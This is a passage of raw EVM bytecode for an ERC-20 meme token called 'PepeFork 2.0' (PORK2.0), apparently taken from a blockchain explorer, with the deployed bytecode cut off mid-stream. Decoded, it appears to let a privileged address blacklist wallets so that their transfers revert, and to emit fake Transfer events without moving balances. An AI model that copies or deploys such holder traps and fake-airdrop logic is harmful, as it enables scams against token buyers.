ffffffffffffffffffffffffff161415611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b9061312b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611504576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fb906131bd565b60405180910390fd5b60008111611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061324f565b60405180910390fd5b6000611551610cd3565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115bf575061158f610cd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b545760006007541180156115d7575060075443115b156115e6576115e5846120ee565b5b6116236064611615600c54600f54101561160257600854611606565b600a545b8561223c90919063ffffffff16565b6122b790919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116d05750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611898574360075414156117cf57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661176b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611762906132e1565b60405180910390fd5b6009600a6117799190612c5c565b6301312d006117889190612ca7565b8211156117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c19061334d565b60405180910390fd5b611897565b601154821115611814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180b906133b9565b60405180910390fd5b6012548261182185610b0b565b61182b91906133d9565b111561186c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118639061347b565b60405180910390fd5b43600160075461187c91906133d9565b11156118965761188b83612301565b1561189557600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119405750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199e576012548261195285610b0b565b61195c91906133d9565b111561199d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119949061347b565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a2757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6b57611a686064611a5a600d54600f5411611a4757600954611a4b565b600b545b8561223c90919063ffffffff16565b6122b790919063ffffffff16565b90505b6000611a7630610b0b565b9050601760159054906101000a900460ff16158015611ae25750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611afa5750601760169054906101000a900460ff165b8015611b07575060135481115b8015611b165750600e54600f54115b15611b5257611b38611b3384611b2e84601454612314565b612314565b611e75565b60004790506000811115611b5057611b4f4761232d565b5b505b505b6000811115611c5857611baf81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239990919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c4f919061268c565b60405180910390a35b611caa82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d51611d0382846123f790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611df684866123f790919063ffffffff16565b604051611e03919061268c565b60405180910390a350505050565b6000838311158290611e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e50919061253d565b60405180910390fd5b5060008385611e68919061349b565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ead57611eac6128f3565b5b604051908082528060200260200182016040528015611edb5781602001602082028036833780820191505090505b5090503081600081518110611ef357611ef2612d01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbe91906134e4565b81600181518110611fd257611fd1612d01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203930601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611259565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209d95949392919061360a565b600060405180830381600087803b1580156120b757600080fd5b505af11580156120cb573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120fc9190612c5c565b66017e9d8602b40061210e9190612ca7565b6011819055506009600a6121229190612c5c565b66017e9d8602b4006121349190612ca7565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121e357600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121e257600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6122129190612c5c565b66017e9d8602b4006122249190612ca7565b604051612231919061268c565b60405180910390a150565b60008083141561224f57600090506122b1565b6000828461225d9190612ca7565b905082848261226c9190613693565b146122ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a390613736565b60405180910390fd5b809150505b92915050565b60006122f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612441565b905092915050565b600080823b905060008111915050919050565b60008183116123235782612325565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612395573d6000803e3d6000fd5b5050565b60008082846123a891906133d9565b9050838110156123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e4906137a2565b60405180910390fd5b8091505092915050565b600061243983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e11565b905092915050565b60008083118290612488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247f919061253d565b60405180910390fd5b50600083856124979190613693565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124de5780820151818401526020810190506124c3565b838111156124ed576000848401525b50505050565b6000601f19601f8301169050919050565b600061250f826124a4565b61251981856124af565b93506125298185602086016124c0565b612532816124f3565b840191505092915050565b600060208201905081810360008301526125578184612504565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061259e82612573565b9050919050565b6125ae81612593565b81146125b957600080fd5b50565b6000813590506125cb816125a5565b92915050565b6000819050919050565b6125e4816125d1565b81146125ef57600080fd5b50565b600081359050612601816125db565b92915050565b6000806040838503121561261e5761261d612569565b5b600061262c858286016125bc565b925050602061263d858286016125f2565b9150509250929050565b60008115159050919050565b61265c81612647565b82525050565b60006020820190506126776000830184612653565b92915050565b612686816125d1565b82525050565b60006020820190506126a1600083018461267d565b92915050565b6000806000606084860312156126c0576126bf612569565b5b60006126ce868287016125bc565b93505060206126df868287016125bc565b92505060406126f0868287016125f2565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011261271f5761271e6126fa565b5b8235905067ffffffffffffffff81111561273c5761273b6126ff565b5b60208301915083602082028301111561275857612757612704565b5b9250929050565b60008060006040848603121561277857612777612569565b5b600084013567ffffffffffffffff8111156127965761279561256e565b5b6127a286828701612709565b935093505060206127b5868287016125f2565b9150509250925092565b600060ff82169050919050565b6127d5816127bf565b82525050565b60006020820190506127f060008301846127cc565b92915050565b60006020828403121561280c5761280b612569565b5b600061281a848285016125bc565b91505092915050565b6000819050919050565b600061284861284361283e84612573565b612823565b612573565b9050919050565b600061285a8261282d565b9050919050565b600061286c8261284f565b9050919050565b61287c81612861565b82525050565b60006020820190506128976000830184612873565b92915050565b6128a681612593565b82525050565b60006020820190506128c1600083018461289d565b92915050565b6128d081612647565b81146128db57600080fd5b50565b6000813590506128ed816128c7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61292b826124f3565b810181811067ffffffffffffffff8211171561294a576129496128f3565b5b80604052505050565b600061295d61255f565b90506129698282612922565b919050565b600067ffffffffffffffff821115612989576129886128f3565b5b602082029050602081019050919050565b60006129ad6129a88461296e565b612953565b905080838252602082019050602084028301858111156129d0576129cf612704565b5b835b818110156129f957806129e588826125bc565b8452602084019350506020810190506129d2565b5050509392505050565b600082601f830112612a1857612a176126fa565b5b8135612a2884826020860161299a565b91505092915050565b60008060408385031215612a4857612a47612569565b5b6000612a56858286016128de565b925050602083013567ffffffffffffffff811115612a7757612a7661256e565b5b612a8385828601612a03565b9150509250929050565b600060208284031215612aa357612aa2612569565b5b6000612ab1848285016125f2565b91505092915050565b60008060408385031215612ad157612ad0612569565b5b6000612adf858286016125bc565b9250506020612af0858286016125bc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b8057808604811115612b5c57612b5b612afa565b5b6001851615612b6b5780820291505b8081029050612b7985612b29565b9450612b40565b94509492505050565b600082612b995760019050612c55565b81612ba75760009050612c55565b8160018114612bbd5760028114612bc757612bf6565b6001915050612c55565b60ff841115612bd957612bd8612afa565b5b8360020a915084821115612bf057612bef612afa565b5b50612c55565b5060208310610133831016604e8410600b8410161715612c2b5782820a905083811115612c2657612c25612afa565b5b612c55565b612c388484846001612b36565b92509050818404811115612c4f57612c4e612afa565b5b81810290505b9392505050565b6000612c67826125d1565b9150612c72836127bf565b9250612c9f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b89565b905092915050565b6000612cb2826125d1565b9150612cbd836125d1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cf657612cf5612afa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d3b826125d1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d6e57612d6d612afa565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612daf6020836124af565b9150612dba82612d79565b602082019050919050565b60006020820190508181036000830152612dde81612da2565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612e1b601f836124af565b9150612e2682612de5565b602082019050919050565b60006020820190508181036000830152612e4a81612e0e565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e87601b836124af565b9150612e9282612e51565b602082019050919050565b60006020820190508181036000830152612eb681612e7a565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ef3600c836124af565b9150612efe82612ebd565b602082019050919050565b60006020820190508181036000830152612f2281612ee6565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f5f6017836124af565b9150612f6a82612f29565b602082019050919050565b60006020820190508181036000830152612f8e81612f52565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ff16024836124af565b9150612ffc82612f95565b604082019050919050565b6000602082019050818103600083015261302081612fe4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130836022836124af565b915061308e82613027565b604082019050919050565b600060208201905081810360008301526130b281613076565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131156025836124af565b9150613120826130b9565b604082019050919050565b6000602082019050818103600083015261314481613108565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131a76023836124af565b91506131b28261314b565b604082019050919050565b600060208201905081810360008301526131d68161319a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132396029836124af565b9150613244826131dd565b604082019050919050565b600060208201905081810360008301526132688161322c565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b60006132cb602b836124af565b91506132d68261326f565b604082019050919050565b600060208201905081810360008301526132fa816132be565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613337601a836124af565b915061334282613301565b602082019050919050565b600060208201905081810360008301526133668161332a565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b60006133a36018836124af565b91506133ae8261336d565b602082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b60006133e4826125d1565b91506133ef836125d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561342457613423612afa565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613465601a836124af565b91506134708261342f565b602082019050919050565b6000602082019050818103600083015261349481613458565b9050919050565b60006134a6826125d1565b91506134b1836125d1565b9250828210156134c4576134c3612afa565b5b828203905092915050565b6000815190506134de816125a5565b92915050565b6000602082840312156134fa576134f9612569565b5b6000613508848285016134cf565b91505092915050565b6000819050919050565b600061353661353161352c84613511565b612823565b6125d1565b9050919050565b6135468161351b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61358181612593565b82525050565b60006135938383613578565b60208301905092915050565b6000602082019050919050565b60006135b78261354c565b6135c18185613557565b93506135cc83613568565b8060005b838110156135fd5781516135e48882613587565b97506135ef8361359f565b9250506001810190506135d0565b5085935050505092915050565b600060a08201905061361f600083018861267d565b61362c602083018761353d565b818103604083015261363e81866135ac565b905061364d606083018561289d565b61365a608083018461267d565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061369e826125d1565b91506136a9836125d1565b9250826136b9576136b8613664565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137206021836124af565b915061372b826136c4565b604082019050919050565b6000602082019050818103600083015261374f81613713565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061378c601b836124af565b915061379782613756565b602082019050919050565b600060208201905081810360008301526137bb8161377f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209217a3c26b8be865e0adbdb095083197c6558c1317f163c7b63749c52479211d64736f6c634300080a0033000000000000000000000000f12a4b9dad2753d25664f5c2950629c4c2feb032

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80638bdb2afa116100f7578063b70143c911610095578063c9567bf911610064578063c9567bf91461062f578063dd62ed3e14610646578063e1b1925814610683578063ffb54a99146106ae576101cd565b8063b70143c914610587578063baeb7a7d146105b0578063bf474bed146105db578063c2b7bbb614610606576101cd565b806395d89b41116100d157806395d89b41146104b9578063993351e2146104e4578063a710d0ca14610521578063a9059cbb1461054a576101cd565b80638bdb2afa146104385780638da5cb5b146104635780638f9a55c01461048e576101cd565b80633b7cdccd11610164578063538684901161013e578063538684901461038e57806370a08231146103b9578063715018a6146103f65780637d1db4a51461040d576101cd565b80633b7cdccd146103215780633ccfd60b1461034c5780633ef9472114610363576101cd565b806318160ddd116101a057806318160ddd1461026557806323b872dd1461029057806326ededb8146102cd578063313ce567146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630faee56f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f4919061253d565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190612607565b610716565b6040516102319190612662565b60405180910390f35b34801561024657600080fd5b5061024f610734565b60405161025c919061268c565b60405180910390f35b34801561027157600080fd5b5061027a61073a565b604051610287919061268c565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b291906126a7565b610761565b6040516102c49190612662565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef919061275f565b61083a565b005b34801561030257600080fd5b5061030b610970565b60405161031891906127db565b60405180910390f35b34801561032d57600080fd5b50610336610979565b604051610343919061268c565b60405180910390f35b34801561035857600080fd5b5061036161097f565b005b34801561036f57600080fd5b50610378610afd565b604051610385919061268c565b60405180910390f35b34801561039a57600080fd5b506103a3610b03565b6040516103b0919061268c565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db91906127f6565b610b0b565b6040516103ed919061268c565b60405180910390f35b34801561040257600080fd5b5061040b610b54565b005b34801561041957600080fd5b50610422610ca7565b60405161042f919061268c565b60405180910390f35b34801561044457600080fd5b5061044d610cad565b60405161045a9190612882565b60405180910390f35b34801561046f57600080fd5b50610478610cd3565b60405161048591906128ac565b60405180910390f35b34801561049a57600080fd5b506104a3610cfc565b6040516104b0919061268c565b60405180910390f35b3480156104c557600080fd5b506104ce610d02565b6040516104db919061253d565b60405180910390f35b3480156104f057600080fd5b5061050b600480360381019061050691906127f6565b610d3f565b6040516105189190612662565b60405180910390f35b34801561052d57600080fd5b5061054860048036038101906105439190612a31565b610d95565b005b34801561055657600080fd5b50610571600480360381019061056c9190612607565b610e91565b60405161057e9190612662565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612a8d565b610eaf565b005b3480156105bc57600080fd5b506105c5610fdc565b6040516105d2919061268c565b60405180910390f35b3480156105e757600080fd5b506105f0610fe2565b6040516105fd919061268c565b60405180910390f35b34801561061257600080fd5b5061062d600480360381019061062891906127f6565b610fe8565b005b34801561063b57600080fd5b5061064461108d565b005b34801561065257600080fd5b5061066d60048036038101906106689190612aba565b6111b1565b60405161067a919061268c565b60405180910390f35b34801561068f57600080fd5b50610698611238565b6040516106a5919061268c565b60405180910390f35b3480156106ba57600080fd5b506106c361123e565b6040516106d09190612662565b60405180910390f35b60606040518060400160405280600c81526020017f50657065466f726b20322e300000000000000000000000000000000000000000815250905090565b600061072a610723611251565b8484611259565b6001905092915050565b60145481565b60006009600a61074a9190612c5c565b66017e9d8602b40061075c9190612ca7565b905090565b600061076e848484611424565b61082f8461077a611251565b61082a856040518060600160405280602881526020016137c360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e0611251565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e119092919063ffffffff16565b611259565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087b611251565b73ffffffffffffffffffffffffffffffffffffffff161461089b57600080fd5b60005b8383905081101561096a578383828181106108bc576108bb612d01565b5b90506020020160208101906108d191906127f6565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094f919061268c565b60405180910390a3808061096290612d30565b91505061089e565b50505050565b60006009905090565b60085481565b610987611251565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b90612dc5565b60405180910390fd5b601760149054906101000a900460ff1615610a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5b90612e31565b60405180910390fd5b600047905060008111610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa390612e9d565b60405180910390fd5b610ab4610cd3565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610af9573d6000803e3d6000fd5b5050565b600b5481565b60005a905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b5c611251565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090612dc5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600781526020017f504f524b322e3000000000000000000000000000000000000000000000000000815250905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd6611251565b73ffffffffffffffffffffffffffffffffffffffff1614610df657600080fd5b60005b8151811015610e8c576000828281518110610e1757610e16612d01565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508180610e8390612d30565b92505050610df9565b505050565b6000610ea5610e9e611251565b8484611424565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ef0611251565b73ffffffffffffffffffffffffffffffffffffffff1614610f1057600080fd5b610f1930610b0b565b8111158015610f285750600081115b610f67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5e90612f09565b60405180910390fd5b610f7081611e75565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fd8573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611029611251565b73ffffffffffffffffffffffffffffffffffffffff161461104957600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611095611251565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611122576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111990612dc5565b60405180910390fd5b601760149054906101000a900460ff1615611172576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116990612f75565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c090613007565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611339576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133090613099565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611417919061268c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b9061312b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611504576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fb906131bd565b60405180910390fd5b60008111611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061324f565b60405180910390fd5b6000611551610cd3565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115bf575061158f610cd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b545760006007541180156115d7575060075443115b156115e6576115e5846120ee565b5b6116236064611615600c54600f54101561160257600854611606565b600a545b8561223c90919063ffffffff16565b6122b790919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116d05750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611898574360075414156117cf57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661176b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611762906132e1565b60405180910390fd5b6009600a6117799190612c5c565b6301312d006117889190612ca7565b8211156117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c19061334d565b60405180910390fd5b611897565b601154821115611814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180b906133b9565b60405180910390fd5b6012548261182185610b0b565b61182b91906133d9565b111561186c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118639061347b565b60405180910390fd5b43600160075461187c91906133d9565b11156118965761188b83612301565b1561189557600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119405750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199e576012548261195285610b0b565b61195c91906133d9565b111561199d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119949061347b565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a2757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6b57611a686064611a5a600d54600f5411611a4757600954611a4b565b600b545b8561223c90919063ffffffff16565b6122b790919063ffffffff16565b90505b6000611a7630610b0b565b9050601760159054906101000a900460ff16158015611ae25750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611afa5750601760169054906101000a900460ff165b8015611b07575060135481115b8015611b165750600e54600f54115b15611b5257611b38611b3384611b2e84601454612314565b612314565b611e75565b60004790506000811115611b5057611b4f4761232d565b5b505b505b6000811115611c5857611baf81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239990919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c4f919061268c565b60405180910390a35b611caa82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d51611d0382846123f790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff